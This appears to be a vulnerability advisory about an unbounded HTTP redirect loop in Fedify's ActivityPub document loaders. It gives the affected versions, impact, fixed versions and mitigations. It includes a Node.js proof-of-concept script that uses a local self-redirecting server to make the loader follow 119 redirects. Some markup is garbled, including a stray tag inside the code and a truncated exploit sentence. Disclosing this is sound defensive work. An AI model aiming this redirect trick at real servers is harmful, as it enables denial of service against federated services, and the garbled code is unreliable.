Listen to this Post
Fedify’s remote document loader and authenticated document loader recursively follow HTTP 3xx redirects without enforcing a maximum redirect count or visited‑URL loop detection. When processing an incoming ActivityPub request, the framework verifies HTTP signatures by fetching the remote keyId. This triggers the chain handleInboxInternal() -> verifyRequest() -> fetchKeyInternal() -> document loader. In affected versions, the generic loader handles a 3xx response by calling `load()` again on the `Location` header; the authenticated redirect path (doubleKnock()) does the same. Neither path imposes a redirect cap nor tracks already‑visited URLs. An attacker who controls a remote ActivityPub key or actor URL can respond with 302 Location: <same URL>, creating a self‑referential redirect loop. A single inbound request can thus generate tens or hundreds of outbound requests before the fetch times out. Failed key fetches are not durably negatively cached – the null result is stored only in a request‑local cache, so later requests can trigger the same loop again. This leads to resource exhaustion and denial of service. The issue was confirmed in versions 1.9.1 and 1.9.2, while Fedify’s WebFinger lookup already has a redirect cap, indicating the missing bound in the document loader is unintended.
DailyCVE Form
Platform: Fedify
Version: 1.9.1-1.9.2
Vulnerability: Unbounded redirect loop
Severity: High
Date: 2026-04-06
Prediction: Already patched
Analytics
What Undercode Say:
Install vulnerable version npm install @fedify/[email protected] Check installed version npm list @fedify/fedify Run the Proof-of-Concept script cat > poc.mjs << 'EOF' import http from "node:http"; import { getDocumentLoader } from "@fedify/fedify"; const port = 45679; let count = 0; const redirectCount = 120; const server = http.createServer((req, res) => { count += 1; if (count < redirectCount) { res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor` }); res.end(); return; } res.writeHead(200, { "Content-Type": "application/activity+json" }); res.end(JSON.stringify({ "@context": "https://www.w3.org/ns/activitystreams", "id": `http://127.0.0.1:${port}/actor`, "type": "Person" })); }); await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve)); try { const loader = getDocumentLoader({ allowPrivateAddress: true }); await loader(<code>http://127.0.0.1:${port}/actor`); console.log({ count }); } finally { server.close(); } EOF node poc.mjs Expected output: { count: 120 } (119 self-redirects followed)
<h2 style=”color: blue;”>Exploit</h2>
An attacker sets up a malicious ActivityPub actor or key endpoint that always responds with302 Location:
Protection from this CVE
Update to a fixed version:
– `@fedify/[email protected]` (for the 1.9.x line)
– `@fedify/[email protected]`
– `@fedify/[email protected]`
– `@fedify/[email protected]` or later
If upgrading is not immediately possible, consider deploying a reverse proxy that caps the number of allowed redirects for outbound requests, or temporarily disable the processing of remote keys if your use case allows.
Impact
Unlimited outbound requests from a single inbound ActivityPub message lead to severe resource exhaustion (CPU, memory, connection slots, bandwidth). An unauthenticated remote attacker can cause a denial of service, and because failed lookups are not cached durably, the attack can be repeated indefinitely.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

